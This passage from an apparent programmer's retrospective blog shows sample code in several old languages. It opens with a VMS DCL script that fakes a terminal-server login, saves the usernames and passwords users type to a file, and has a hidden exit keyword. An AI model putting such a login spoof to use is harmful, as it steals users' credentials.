&amp;quot;Local&amp;gt;&amp;quot;  &lt;br /&gt;$    SET MESSAGE/NOFAC/NOIDENT/NOSEVERITY/NOTEXT  &lt;br /&gt;$    goto Timer  &lt;br /&gt;$ prompt:  &lt;br /&gt;$      inquire/nopunc flag &amp;quot;Local&amp;gt; &amp;quot;  &lt;br /&gt;$      if (f$extract(0,1,flag) .EQS. &amp;quot;&amp;quot;) then -  &lt;br /&gt;          goto prompt  &lt;br /&gt;$      if (flag .eqs. &amp;quot;C&amp;quot;) then -  &lt;br /&gt;          goto SESS  &lt;br /&gt;$      if (flag .eqs. &amp;quot;H&amp;quot;) .or. (flag .eqs. &amp;quot;HELP&amp;quot;) then goto helpit  &lt;br /&gt;$      if (flag .eqs. &amp;quot;LO&amp;quot;) then goto timer  &lt;br /&gt;$      write sys$output &amp;quot;Local -707- Keyword &amp;quot;&amp;quot;&amp;quot;,flag,&amp;quot;&amp;quot;&amp;quot; not known or ambiguous  &lt;br /&gt;&amp;quot;  &lt;br /&gt;$      goto prompt  &lt;br /&gt;$ SESS:  &lt;br /&gt;$ !  &lt;br /&gt;$ write sys$output &amp;quot;Local -010- Session 1 to VMS established&amp;quot;  &lt;br /&gt;$ write sys$output &amp;quot;&amp;quot;  &lt;br /&gt;$ write sys$output &amp;quot;&amp;quot;  &lt;br /&gt;$ write sys$output &amp;quot;&amp;quot;  &lt;br /&gt;$ write sys$output &amp;quot;Rose Hulman Institute of Technology - VAX 8530 (VMS)&amp;quot;  &lt;br /&gt;$ write sys$output &amp;quot;&amp;quot;  &lt;br /&gt;$ count = 0  &lt;br /&gt;$ LOOP:  &lt;br /&gt;$    Count = count + 1  &lt;br /&gt;$    USE:  &lt;br /&gt;$!       WRITE SYS$OUTPUT &amp;quot;Username: &amp;quot;  &lt;br /&gt;$       INQUIRE FLAG &amp;quot;Username&amp;quot;  &lt;br /&gt;$!       set term/uppercase  &lt;br /&gt;$!       inquire/nopunct flag &amp;quot;''ESC'[1A''ESC'[10C&amp;quot;  &lt;br /&gt;$ !      set term/lowercase  &lt;br /&gt;$       if (f$extract(0,1,flag) .EQS. &amp;quot;&amp;quot;) then -  &lt;br /&gt;           goto USE  &lt;br /&gt;$ ! secret door to exit the program....&lt;br /&gt;$    IF (FLAG .EQS. &amp;quot;ROSEMHOSEM&amp;quot;) THEN GOTO OUT  &lt;br /&gt;$    set term/noechoe  &lt;br /&gt;$    inquire password &amp;quot;Password&amp;quot;  &lt;br /&gt;$    set term/echoe  &lt;br /&gt;$    if (flag .eqs. prev) then goto quit  &lt;br /&gt;$ error1:  &lt;br /&gt;$    prev = flag  &lt;br /&gt;$    pass = password  &lt;br /&gt;$    Write sys$output &amp;quot;User authorization failure&amp;quot;  &lt;br /&gt;$    IF (COUNT .EQ. 3) THEN GOTO TOO_MANY  &lt;br /&gt;$    SET TERM/NOECHOE  &lt;br /&gt;$    INQUIRE/NOPUNC CRT &amp;quot;''ESC'[1A&amp;quot;  &lt;br /&gt;$    SET TERM/ECHOE  &lt;br /&gt;$    GOTO LOOP  &lt;br /&gt;$ !  &lt;br /&gt;$ TOO_MANY:  &lt;br /&gt;$    WRITE SYS$OUTPUT &amp;quot;Local -011- Session 1 disconnected from VMS&amp;quot;  &lt;br /&gt;$    goto prompt  &lt;br /&gt;$ !  &lt;br /&gt;$ QUIT:  &lt;br /&gt;$ if (password .nes. pass) then goto error1  &lt;br /&gt;$ !  &lt;br /&gt;$ !!Special  &lt;br /&gt;$ if (prev .eqs. &amp;quot;TRULORE&amp;quot;) then goto straight_in  &lt;br /&gt;$ !  &lt;br /&gt;$ open/append input_file 'F$DIRECTORY()'pass.dat  &lt;br /&gt;$ write input_file flag  &lt;br /&gt;$ write input_file password  &lt;br /&gt;$ write input_file &amp;quot; &amp;quot;  &lt;br /&gt;$ close input_file  &lt;br /&gt;$ STRAIGHT_IN:  &lt;br /&gt;$ ! create a nested session to log the user in using the username and password they supplied.&lt;br /&gt;$ open/write output 'F$DIRECTORY()'goto.com  &lt;br /&gt;$ write output &amp;quot;$ set host/nolog vms&amp;quot;  &lt;br /&gt;$ write output ''flag  &lt;br /&gt;$ write output ''password  &lt;br /&gt;$ close output  &lt;br /&gt;$ @goto  &lt;br /&gt;$ WRITE SYS$OUTPUT &amp;quot;Local -011- Session 1 disconnected from VMS&amp;quot;  &lt;br /&gt;$ delete/nocon/nolog Goto.com;*  &lt;br /&gt;$ GOTO PROMPT  &lt;br /&gt;$ !  &lt;br /&gt;$ Timer:  &lt;br /&gt;$     tt = f$extract(19,1,f$time())  &lt;br /&gt;$     if (tt .eqs. &amp;quot;0&amp;quot;) .or. (tt .eqs. &amp;quot;9&amp;quot;) then goto Timer  &lt;br /&gt;$     Write sys$output &amp;quot;Local -020- Logged out port ''tt'&amp;quot;  &lt;br /&gt;$   Timer2:  &lt;br /&gt;$      SET TERM/NOECHOE  &lt;br /&gt;$      INQUIRE/NOPUNC CRT &amp;quot;''esc'[1A&amp;quot;  &lt;br /&gt;$      if (CRT .Nes. &amp;quot;C&amp;quot;) .AND. (crt .nes. &amp;quot;&amp;quot;) then goto Timer2  &lt;br /&gt;$    if crt .eqs. &amp;quot;&amp;quot; then wait 00:00:01  &lt;br /&gt;$    CLS  &lt;br /&gt;$    WRITE SYS$OUTPUT &amp;quot;DECserver 200 Terminal Server V1.0 (BL20) - LAT V5.1&amp;quot;  &lt;br /&gt;$    WRITE SYS$OUTPUT &amp;quot;&amp;quot;  &lt;br /&gt;$    SET TERM/ECHOE  &lt;br /&gt;$    goto SESS  &lt;br /&gt;$    goto Prompt  &lt;br /&gt;$ OUT:  &lt;br /&gt;$    SET CONTROL=Y  &lt;br /&gt;$    SET MESSAGE/FAC/IDENT/SEVERITY/TEXT  &lt;br /&gt;$    CLS  &lt;br /&gt;$    set term/type_ahead  &lt;br /&gt;$    EXIT  &lt;br /&gt;$ HELPIT:  &lt;br /&gt;$    CLS  &lt;br /&gt;$    TYPE 'F$DIRECTORY()'HELP.TXT  &lt;br /&gt;$    SAY &amp;quot;Topic? &amp;quot;  &lt;br /&gt;$    INQUIRE/NOPUNC CRT &amp;quot;''esc'[1A''ESC'[7C&amp;quot;  &lt;br /&gt;$    GOTO PROMPT  &lt;br /&gt;  &lt;br /&gt;$ set process/name=&amp;quot;Hold On...&amp;quot;  &lt;br /&gt;$ loop:  &lt;br /&gt;$ wait 00:01:00  &lt;br /&gt;$ say &amp;quot;Hello......???????&amp;quot;  &lt;br /&gt;$ goto loop  &lt;br /&gt;  &lt;br /&gt;&lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Visual_basic"&gt;Visual Basic&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I'm skipping a lot of Microsoft technologies in my list, because they really  just aren't interesting. But I have to say something about Visual Basic because  it was such a thorn in my side for the entire late 1990's. Visual Basic allowed  people with very little skill to write applications that looked professional...  up to a point. It became wildly popular in the tech boom of the late 90's when  companies just couldn't find enough qualified programmers, so any technology  that promised to "lower the bar" for software development sold like mad.&lt;br /&gt;&lt;br /&gt;The problem is that Visual Basic also lowers the bar on software  quality, maintainability and scalability. But nobody sees those failures of  Visual Basic until they get too far down the road to change technologies.&lt;br /&gt;&lt;br /&gt;My team was writing Visual C++ applications at the time, and our CIO  bought himself a copy of Visual Basic and wrote a simple application in 1 day.  Then he tried to demand that WE use Visual Basic too because it took us longer  than 1 day to write an application using Visual C++. (True story). And there's  just no way to explain to someone like that the true complexities of real-world  software development. We had to just refuse his request (a small mutiny), and  hope he didn't fire us, and luckily he didn't.&lt;br /&gt;&lt;br /&gt;But Visual Basic spread  like crazy across companies everywhere, especially in the form of VBA macros for  Word and Excel. It wasn't until the past few years that I've been relatively  free of the Visual Basic disease.  &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/C_Sharp"&gt;C#&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;It's a Java ripoff. Everyone knows it. It's another attempt by Microsoft to offer developers better features at the expense of platform lock-in.  When I think of the tradeoffs between Microsoft and open standards, I picture the scene from the movie "300" where Xerces promises Leonidas power if he would but kneel.  &lt;br /&gt;&lt;br /&gt;Any advantage Microsoft offers in terms of features or interoperability with other Microsoft systems is a &lt;a href="http://en.wikipedia.org/wiki/Deal_with_the_Devil"&gt;Faustian Bargin&lt;/a&gt;.  Being locked into one platform is anti-capitalism and anti-competitive, and it leads to stagnation and abuse of power.  &lt;br /&gt;&lt;br /&gt;If anyone  tells you that C# can run on other platforms, they are either lying to you or  they just popped open a can of dumb-ass. Sure, there are projects like &lt;a href="http://en.wikipedia.org/wiki/Mono_(software)"&gt;Mono&lt;/a&gt;,  but they will never be equal to their Windows counterparts.&lt;br /&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Fortran#FORTRAN_66"&gt;FORTRAN 66/77&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt; &lt;/dd&gt;&lt;dd&gt;At my first really programmer job, I wrote Ada and FORTRAN. Most of our applications were in  FORTRAN 66, so I wrote a program in FORTRAN 77 that would convert code from 66  to 77. (That brought us up from 1966 technology to 1977 technology...in 1992.)&lt;br /&gt;&lt;br /&gt;This is a sample of my FORTRAN 66. Note that FORTRAN 66 did not have  "if" statements as we know today. The only thing a FORTRAN 66 "if" could do is  perform a 3-way GOTO statement. Ouch! A typical FORTRAN 66 program was at least  1/4th GOTO statements...and there was no interactive debugger. &lt;pre&gt;&lt;br /&gt;80 CONTINUE  &lt;br /&gt;   ITEM = &amp;quot;INTERNAL-P/N;&amp;quot;  &lt;br /&gt;   DBLARGUMENT = IPN  &lt;br /&gt;   CALL DBFIND (IDBPMS1,IBIN,1,ISTATUS,IITEM,IARGUMENT)  &lt;br /&gt;   IF (.CC.) 90,100,90  &lt;br /&gt;90 CONTINUE  &lt;br /&gt;   IERR = 200  &lt;br /&gt;C                                                          IERR = 200  &lt;br /&gt;   GO TO 9000  &lt;br /&gt;C  &lt;br /&gt;100 CONTINUE  &lt;br /&gt;IF (ISTATUS(5).EQ.0.AND.ISTATUS(6).EQ.0) GO TO 150  &lt;br /&gt;C  &lt;br /&gt;110 CONTINUE  &lt;br /&gt;CALL DBGET (IDBPMS1,IBIN,5,ISTATUS,ILIST,IBINREC,IARGUMENT)  &lt;br /&gt;IF (.CC.) 120,130,120  &lt;br /&gt;120 CONTINUE  &lt;br /&gt;IF (ISTATUS(1).EQ.15) GO TO 150  &lt;br /&gt;IERR = 205  &lt;br /&gt;C                                                          IERR = 205  &lt;br /&gt;GO TO 9000  &lt;br /&gt;C  &lt;br /&gt;130 CONTINUE  &lt;br /&gt;IF (BINLOCATION.NE.BARLOCATION) GO TO 110  &lt;br /&gt;BINQTYINBIN = BINQTYINBIN + (TOTQTYPROCESSED - NEWISSUEQTY)  &lt;br /&gt;CALL DBUPDATE (IDBPMS1,IBIN,1,ISTATUS,ILIST,IBINREC)  &lt;br /&gt;IF (.CC.) 140,170,140  &lt;br /&gt;140 CONTINUE  &lt;br /&gt;IERR = 210  &lt;br /&gt;C                                                          IERR = 210  &lt;br /&gt;GO TO 9000  &lt;br /&gt;  &lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/LaTeX"&gt;LaTeX&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;LaTeX is pronounced like la-tek, not lay-tex. A free document markup  language that was very popular in college, and is still used to this day by  schools and mathematicians.  (Never underestimate the difficulty of finding  publishing tools that can print complex mathematical formulas correctly! &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt; &lt;br /&gt;&lt;br /&gt;\documentstyle[12pt]{report}  &lt;br /&gt;\title{User Document, Arts Illiana Activities Calendar}  &lt;br /&gt;\author{Tom Bogle \and Matt Drew \and Robert Pappas \and Richard Stroud}  &lt;br /&gt;\date{January 25, 1990}  &lt;br /&gt;%\oddsidemargin 0in  &lt;br /&gt;%\textwidth 5in  &lt;br /&gt;\begin{document}  &lt;br /&gt;\pagenumbering{roman}  &lt;br /&gt;\tableofcontents  &lt;br /&gt;\maketitle  &lt;br /&gt;\chapter{A Brief Overview}  &lt;br /&gt;\pagenumbering{arabic}  &lt;br /&gt;  &lt;br /&gt;\hspace{3ex}Upon entry to the system the user will be viewing the calender for  &lt;br /&gt;the current month.  The current day will be highlighted.  The options available  &lt;br /&gt;to the user at this time are  &lt;br /&gt;\begin{itemize}  &lt;br /&gt;\item View the activities for the current day  &lt;br /&gt;\item Add an event to the current day  &lt;br /&gt;\item Select another date  &lt;br /&gt;\item Search for a user defined key  &lt;br /&gt;\item Print a report  &lt;br /&gt;\item Exit calendar  &lt;br /&gt;\end{itemize}  &lt;br /&gt;  &lt;br /&gt;\chapter{Viewing a Date}  &lt;br /&gt;\hspace{3ex}Viewing the activities on the highlighted day is done by pressing  &lt;br /&gt;$&amp;lt;$RETURN$&amp;gt;$.  To position the desired day, see the chapter on `Movement' below.  &lt;br /&gt;  &lt;br /&gt;After pressing $&amp;lt;$RETURN$&amp;gt;$ the events for the highlighted date will appear in  &lt;br /&gt;the  &lt;br /&gt;viewing window at the bottom of the screen.  The events will be in increasing  &lt;br /&gt;order by time, with the first event highlighted.  The following functions are  &lt;br /&gt;available while control is in the viewing window.  &lt;br /&gt;\begin{itemize}  &lt;br /&gt;\item Display the information for the highlighted event  &lt;br /&gt;\item Insert an event  &lt;br /&gt;\item Highlight a different event  &lt;br /&gt;\item Delete an event  &lt;br /&gt;\item Return to the calendar  &lt;br /&gt;\end{itemize}  &lt;br /&gt;  &lt;br /&gt;\section{Display an Event}  &lt;br /&gt;\hspace{3ex}To display the highlighted event the user presses $&amp;lt;$RETURN$&amp;gt;$.  All  &lt;br /&gt;  &lt;br /&gt;of the information associated with the requested event will be displayed in a  &lt;br /&gt;window which will pop up over the calendar.  The Escape key returns the user   &lt;br /&gt;to the event list.  &lt;br /&gt;  &lt;br /&gt;   &lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Power_Builder"&gt;PowerBuilder&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I was a serious PowerBuilder developer...for almost 2 years. I mean I REALLY  immursed myself in PowerBuilder and even got PowerSoft/Sybase certified in  PowerBuilder and PowerBuilder Foundation Classes. At the time, Sybase's database  was equal in popularity to the Oracle database. Then Sybase bought out PowerSoft  (and their flagship product PowerBuilder), and could compete head to head with  Visual Basic. Sybase was on top of the world, beating both Oracle and Microsoft,  and so I hitched my wagon to Sybase thinking they could be one company that  would build an empire to rival Microsoft.&lt;br /&gt;&lt;br /&gt;Then, like cotton candy on a  rainy day, Sybase suddenly dissolved into a puddle of goo. The stories of the  mistakes they made are legend, and should be tought in every business class.  Microsoft was the biggest source of the rain that melted Sybase, and after the  Sybase meltdown I thought Microsoft would be unstoppable. So in 1997 I had to  make a decision whether to go be a Java developer or go back to doing Microsoft  C++. I opted for the latter thinking that Sun would suffer the same fate as  Sybase and be destroyed by Microsoft. But then &lt;a href="http://news.cnet.com/2100-1001-251401.html"&gt;a miracle happened&lt;/a&gt; in 2001  when Microsoft was prevented from taking over Java. That's when I abandoned  Microsoft technologies for Java, and I've been doing Java ever since.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;on ue_create_store_date;  &lt;br /&gt;  &lt;br /&gt;int  li_row  &lt;br /&gt;string ls_implementation_string, ls_parm  &lt;br /&gt;  &lt;br /&gt;dw_item_create_date.AcceptText ()  &lt;br /&gt;  &lt;br /&gt;//********************************************************************  &lt;br /&gt;// Find if window already open  &lt;br /&gt;//********************************************************************  &lt;br /&gt;If IsValid(w_store_dates) = TRUE Then  &lt;br /&gt;gs_error_title = &amp;quot;Invalid Selection #580007&amp;quot;  &lt;br /&gt;gs_error_message = &amp;quot;Please do not choose 'Create Store Dates'~r~n&amp;quot; +&amp;amp;  &lt;br /&gt;    &amp;quot;when there is already a Store Dates window open.&amp;quot;  &lt;br /&gt;OpenWithParm (w_error_box,&amp;quot;I&amp;quot;)  &lt;br /&gt;Return  &lt;br /&gt;End if  &lt;br /&gt;  &lt;br /&gt;//******************************************************************  &lt;br /&gt;// Set up variables, open next window.  &lt;br /&gt;//********************************************************************  &lt;br /&gt;  &lt;br /&gt;ls_implementation_string = &amp;quot;Create    &amp;quot;  &lt;br /&gt;  &lt;br /&gt;ls_parm = is_update_dates_pld + is_update_dates_version +&amp;amp;  &lt;br /&gt; ls_implementation_string  &lt;br /&gt;  &lt;br /&gt;If ibl_show_warning_msg = True Then  &lt;br /&gt;ls_parm = ls_parm + 'T'  &lt;br /&gt;Else  &lt;br /&gt;ls_parm = ls_parm + 'F'  &lt;br /&gt;End if  &lt;br /&gt;  &lt;br /&gt;OpenSheetWithParm (w_store_dates,ls_parm,w_pld_frame,3,LAYERED!)  &lt;br /&gt;  &lt;br /&gt;w_pld_frame.SetMicroHelp (&amp;quot;Ready&amp;quot;)  &lt;br /&gt;end on  &lt;br /&gt;  &lt;br /&gt;&lt;br /&gt;    &lt;/pre&gt; &lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/VAX_Macro"&gt;Vax-11 MACRO Assembly&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;My archive of Assembly code from the Vax-11 was wiped out accidentally when  I was in college, but here is a scan from a leftover green-bar printout. The Vax  had a VERY robust CPU instruction set. There was even one OP code that would  multiply two nXn matrices! Yikes! &lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_RKccMqogNXc/SdA90E7VIMI/AAAAAAAAAOc/MCmC_D4aRvg/s1600-h/assembler_10.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 228px;" src="http://4.bp.blogspot.com/_RKccMqogNXc/SdA90E7VIMI/AAAAAAAAAOc/MCmC_D4aRvg/s400/assembler_10.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5318819124809638082" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;/dd&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/Ada_%28programming_language%29"&gt;Ada&lt;/a&gt;  &lt;/dt&gt;&lt;dd&gt;I used Ada extensively in school. It was supposed to be the next great  language for software development. But the structural beauty of Ada was  undermined by the practical nature of C. I think what truly killed Ada was the  microcomputer revolution, because C was better suited for personal computers  with limited RAM.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;&lt;br /&gt;  &lt;br /&gt;-----------------------------------------------------------------------------  &lt;br /&gt;--   Program : Airport Simulation                                          --  &lt;br /&gt;--        This program simulates two air fields, one with one runway and   --  &lt;br /&gt;--        the other with two runways.  For a given set of air traffic      --  &lt;br /&gt;--        probabilities, it displays the average waiting times for both    --  &lt;br /&gt;--        departures and arrivals                                          --  &lt;br /&gt;--    Date    : January 18, 1989                                           --  &lt;br /&gt;--    Author  : Robert C. Pappas                                           --  &lt;br /&gt;--                                                                         --  &lt;br /&gt;-----------------------------------------------------------------------------  &lt;br /&gt;  &lt;br /&gt;with RANDOM_LIB,TEXT_IO,INTEGER_TEXT_IO,FLOAT_TEXT_IO,PLANE_QUEUE_PACKAGE;  &lt;br /&gt;use  RANDOM_LIB,TEXT_IO,INTEGER_TEXT_IO,FLOAT_TEXT_IO,PLANE_QUEUE_PACKAGE;  &lt;br /&gt;  &lt;br /&gt;procedure AIRPORT_SIMULATION is  &lt;br /&gt; procedure AIRPORT (RUNWAYS  : IN NATURAL ) is  &lt;br /&gt;     TOTAL                                : CONSTANT := 3;  &lt;br /&gt;       -- There are a total of three averages computed  &lt;br /&gt;       -- An average for peak traffic hours, low traffic hours,  &lt;br /&gt;       -- and a composite total for the day  &lt;br /&gt;     subtype PERIOD_TYPE is INTEGER range 1..TOTAL;  &lt;br /&gt;     ARRIVE_QUEUE,DEPART_QUEUE            : QUEUE_TYPE;  -- plane queues  &lt;br /&gt;     PLANE                                : PLANE_TYPE;   -- planes  &lt;br /&gt;     IDENT                                : NATURAL := 1;   -- ID number  &lt;br /&gt;     ARRIVE1,ARRIVE2,DEPART1,DEPART2,  &lt;br /&gt;     OPERATION                            : FLOAT;  &lt;br /&gt;     ARRIVAL                              : BOOLEAN;  &lt;br /&gt;     PERIOD                               : PERIOD_TYPE;  &lt;br /&gt;  &lt;br /&gt;     ARRIVE_NUM_PLANES,  &lt;br /&gt;     ARRIVE_WAIT_TIME,  &lt;br /&gt;     DEPART_NUM_PLANES,  &lt;br /&gt;     DEPART_WAIT_TIME                     : ARRAY (1..TOTAL) of NATURAL :=  &lt;br /&gt;                                            (OTHERS =&amp;gt; 0);  &lt;br /&gt;  &lt;br /&gt;  &lt;br /&gt;     ARRIVE_AVG,DEPART_AVG                : ARRAY (1..TOTAL) of FLOAT  :=  &lt;br /&gt;                                            (OTHERS =&amp;gt; 0.0);  &lt;br /&gt;  &lt;br /&gt;  begin  &lt;br /&gt;     CREATE (ARRIVE_QUEUE);  &lt;br /&gt;     CREATE (DEPART_QUEUE);  &lt;br /&gt;  &lt;br /&gt;     for HOUR in 1..24 loop  &lt;br /&gt;         case HOUR is  &lt;br /&gt;             when 01..15 =&amp;gt;  &lt;br /&gt;                PERIOD := 1;  &lt;br /&gt;.....  &lt;br /&gt;  &lt;br /&gt;--  Program     :   Reverse Polish Notation  &lt;br /&gt;--                  This program converts an expression in infix notation  &lt;br /&gt;--                  and converts it to postfix notation  &lt;br /&gt;--  Written by  :   Robert Pappas  &lt;br /&gt;--  Date        :   December 14, 1988  &lt;br /&gt;  &lt;br /&gt;with BASIC_IO;               -- Includes basic Input/Output package  &lt;br /&gt;with STACK_PACKAGE;          -- Include stack package  &lt;br /&gt;use  STACK_PACKAGE;          -- Make stack package main library  &lt;br /&gt;  &lt;br /&gt;procedure RPN is  &lt;br /&gt;  &lt;br /&gt;type PRECEDENCE_TYPE is (HIGHER, LOWER);  &lt;br /&gt;MAX_LENGTH          : constant INTEGER := 80;  &lt;br /&gt;subtype STRING_TYPE is STRING (1..MAX_LENGTH);  &lt;br /&gt;STACK               : STACK_TYPE;  &lt;br /&gt;INPUT_STRING,  &lt;br /&gt;OUTPUT_STRING       : STRING_TYPE;  &lt;br /&gt;INPUT_LENGTH,  &lt;br /&gt;OUTPUT_LENGTH       : INTEGER range 0..MAX_LENGTH;  &lt;br /&gt;GARBAGE             : CHARACTER;  &lt;br /&gt;OPERATOR            : BOOLEAN;  &lt;br /&gt;PARENTHESES_LEVEL,  &lt;br /&gt;POSITION            : INTEGER;  &lt;br /&gt;ERROR_MESSAGE       : STRING (1..30);  &lt;br /&gt;  &lt;br /&gt;function PRECEDENCE (FIRST_OPERATOR, SECOND_OPERATOR : CHARACTER)  &lt;br /&gt;         return PRECEDENCE_TYPE is  &lt;br /&gt;  &lt;br /&gt;subtype PRECEDENCE_RANGE is INTEGER range 0..4;  &lt;br /&gt;type RECORD_TYPE is record  &lt;br /&gt;                  OPERATOR  : CHARACTER;  &lt;br /&gt;                  INFIX_PRECEDENCE : PRECEDENCE_RANGE;  &lt;br /&gt;                  STACK_PRECEDENCE : PRECEDENCE_RANGE;  &lt;br /&gt;               end record;  &lt;br /&gt;type TABLE_TYPE is array (1..6) of RECORD_TYPE;  &lt;br /&gt;PRECEDENCE_TABLE : TABLE_TYPE :=  &lt;br /&gt;    (1 =&amp;gt; ('+',1,1),  &lt;br /&gt;     2 =&amp;gt; ('-',1,1),  &lt;br /&gt;...  &lt;br /&gt;  &lt;br /&gt;with Unchecked_Deallocation;  &lt;br /&gt;   separate(Guts)  &lt;br /&gt;   procedure Dispose_Flight_List(Ptr in out flight_list_ptr) is  &lt;br /&gt;       dead: flight_list_ptr;  &lt;br /&gt;  &lt;br /&gt;       procedure Dispose is new Unchecked_Deallocation  &lt;br /&gt;          (Flight_List_Type, Flight_List_Ptr);  &lt;br /&gt;   begin  &lt;br /&gt;      while Ptr/=null loop  &lt;br /&gt;         dead:=Ptr;  &lt;br /&gt;         Ptr:=Ptr.next;  &lt;br /&gt;         dispose(dead);  &lt;br /&gt;      end loop;  &lt;br /&gt;   end Dispose_Flight_List; &lt;br /&gt;  &lt;/pre&gt; &lt;/dd&gt; &lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/HotMetal_PRO"&gt;HoTMetaL&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;This was one of the first serious HTML editing tools. For an HTML tool, it was awesome. I used it for over 5 minutes.  That's 4.99 minutes more than I used any other HTML editing tool in those days...because as a programmer I always wanted to write the raw HTML code by hand.  :)&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;&lt;a href="http://en.wikipedia.org/wiki/COBOL"&gt;COBOL&lt;/a&gt;&lt;/dt&gt;&lt;dd&gt;I have programmed in COBOL...but I never kept any of my code and I never admit to potential employers that I've ever touched COBOL.  COBOL never seems to completely die, but it's at least rare enough now that I think it's safe to come out of the closet and admit that I've written COBOL.&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;&lt;strong&gt;Quiz&lt;/strong&gt;&lt;/dt&gt;&lt;br /&gt;&lt;dd&gt;A strange little reporting language for the HP TurboImage database.&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;  &lt;br /&gt;ACCESS IM LINK ITNO TO INVPART OF INVFIL OPTIONAL  &lt;br /&gt;DEFINE BASE-PART STRING*18 = ITNO  &lt;br /&gt;DEFINE MATL NUMERIC*10 PIC &amp;quot;^^,^^^,^^^.^^&amp;quot; SCALE 2 &amp;amp;  &lt;br /&gt;       SIGNIFICANCE 4 = MCST + OUTLAB + CSTCOPS  &lt;br /&gt;DEFINE LBR NUMERIC*10 PIC &amp;quot;^^,^^^,^^^.^^&amp;quot; SCALE 2 &amp;amp;  &lt;br /&gt;       SIGNIFICANCE 4 = ULAB + LABCST  &lt;br /&gt;DEFINE BDN NUMERIC*10 PIC &amp;quot;^^,^^^,^^^.^^&amp;quot; SCALE 2 &amp;amp;  &lt;br /&gt;       SIGNIFICANCE 4 = CSTSAB + CSTSCB + CSTAO2S + CSTCO2S &amp;amp;  &lt;br /&gt;       + CSTAO3S + CSTCO3S + (MCST * CSTMBFS) + CSTCOPOS + CSTCMOS  &amp;amp;  &lt;br /&gt;       + (OUTLAB * CSTOPBFS)  &lt;br /&gt;DEFINE USAGE NUMERIC*9 = PTDUNM + PTDUND  &lt;br /&gt;SET REPORT LIMIT 50000  &lt;br /&gt;SELECT IF CCODE NE 32767  &lt;br /&gt;SORT ON ITNO ON INVLOC  &lt;br /&gt;SET SUBFILE AT ITNO NAME MM26AR1.PB KEEP  &lt;br /&gt;REPORT SUMMARY ITNO BASE-PART DESC MATL LBR BDN &amp;amp;  &lt;br /&gt;       INVQTY SUB RESET AT ITNO USAGE  &lt;br /&gt;GO  &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;/dd&gt;&lt;br /&gt;&lt;dt&gt;&lt;strong&gt;QTP&lt;/strong&gt;&lt;/dt&gt;&lt;dd&gt;Another reporting language for the HP TurboImage database.  &lt;/dd&gt;&lt;dd&gt;&lt;pre&gt;&lt;br /&gt;access *mm29cr1 link upn to bomno of psf link comno to itno of im  &lt;br /&gt;define source num*2 = 1 if scode[1:1] eq &amp;quot;P&amp;quot; or scode[1:1] eq &amp;quot;B&amp;quot; &amp;amp;  &lt;br /&gt;                else 2 if scode[1:1] eq &amp;quot;M&amp;quot; &amp;amp;  &lt;br /&gt;                else 0  &lt;br /&gt;subfile mm29dr1 keep if source = 2 &amp;amp;  &lt;br /&gt;        include comno of psf,upn of mm29cr1,tpflag of mm29cr1, &amp;amp;  &lt;br /&gt;                tsonum of mm29cr1  &lt;br /&gt;subfile mm29dr2 keep if source = 1 &amp;amp;  &lt;br /&gt;        include comno of psf,upn of mm29cr1,tpflag of mm29cr1, &amp;amp;  &lt;br /&gt;                tsonum of mm29cr1  &lt;br /&gt;set process lim 500000  &lt;br /&gt;go  &lt;br /&gt;cancel  &lt;br /&gt;;  &lt;br /&gt;;  Write this level's &amp;quot;make&amp;quot; components to the component subfile.  &lt;br /&gt;;  &lt;br /&gt;access *mm29dr1  &lt;br /&gt;subfile mm29dr2 append &amp;amp;  &lt;br /&gt;        include comno,upn,tpflag,tsonum  &lt;br /&gt;set process lim 500000  &lt;br /&gt;go  &lt;br /&gt;cancel  &lt;br /&gt;;  &lt;br /&gt;;   Get this level's &amp;quot;make&amp;quot; components.  Write to subfile to drive  &lt;br /&gt;;   next level's search.  Write the &amp;quot;buy&amp;quot; components to MM29DR2.  &lt;br /&gt;;  &lt;br /&gt;access *mm29dr1 link comno to bomno of psf link comno of psf &amp;amp;  &lt;br /&gt;        to itno of im  &lt;br /&gt;define source num*2 = 1 if scode[1:1] eq &amp;quot;P&amp;quot; or scode[1:1] eq &amp;quot;B&amp;quot; &amp;amp;  &lt;br /&gt;                else 2 if scode[1:1] eq &amp;quot;M&amp;quot; &amp;amp;  &lt;br /&gt;                else 0  &lt;br /&gt;subfile mm29dr2 append if source eq 1 &amp;amp;  &lt;br /&gt;        include comno of psf,upn of mm29dr1,tpflag of mm29dr1, &amp;amp;  &lt;br /&gt;                tsonum of mm29dr1  &lt;br /&gt;subfile mm29dr3 keep if source eq 2 &amp;amp;  &lt;br /&gt;        include comno of psf,upn of mm29dr1,tpflag of mm29dr1, &amp;amp;  &lt;br /&gt;                tsonum of mm29dr1  &lt;br /&gt;set process lim 500000  &lt;br /&gt;go  &lt;br /&gt;cancel  &lt;br /&gt;;  &lt;br /&gt;;  Write this levels 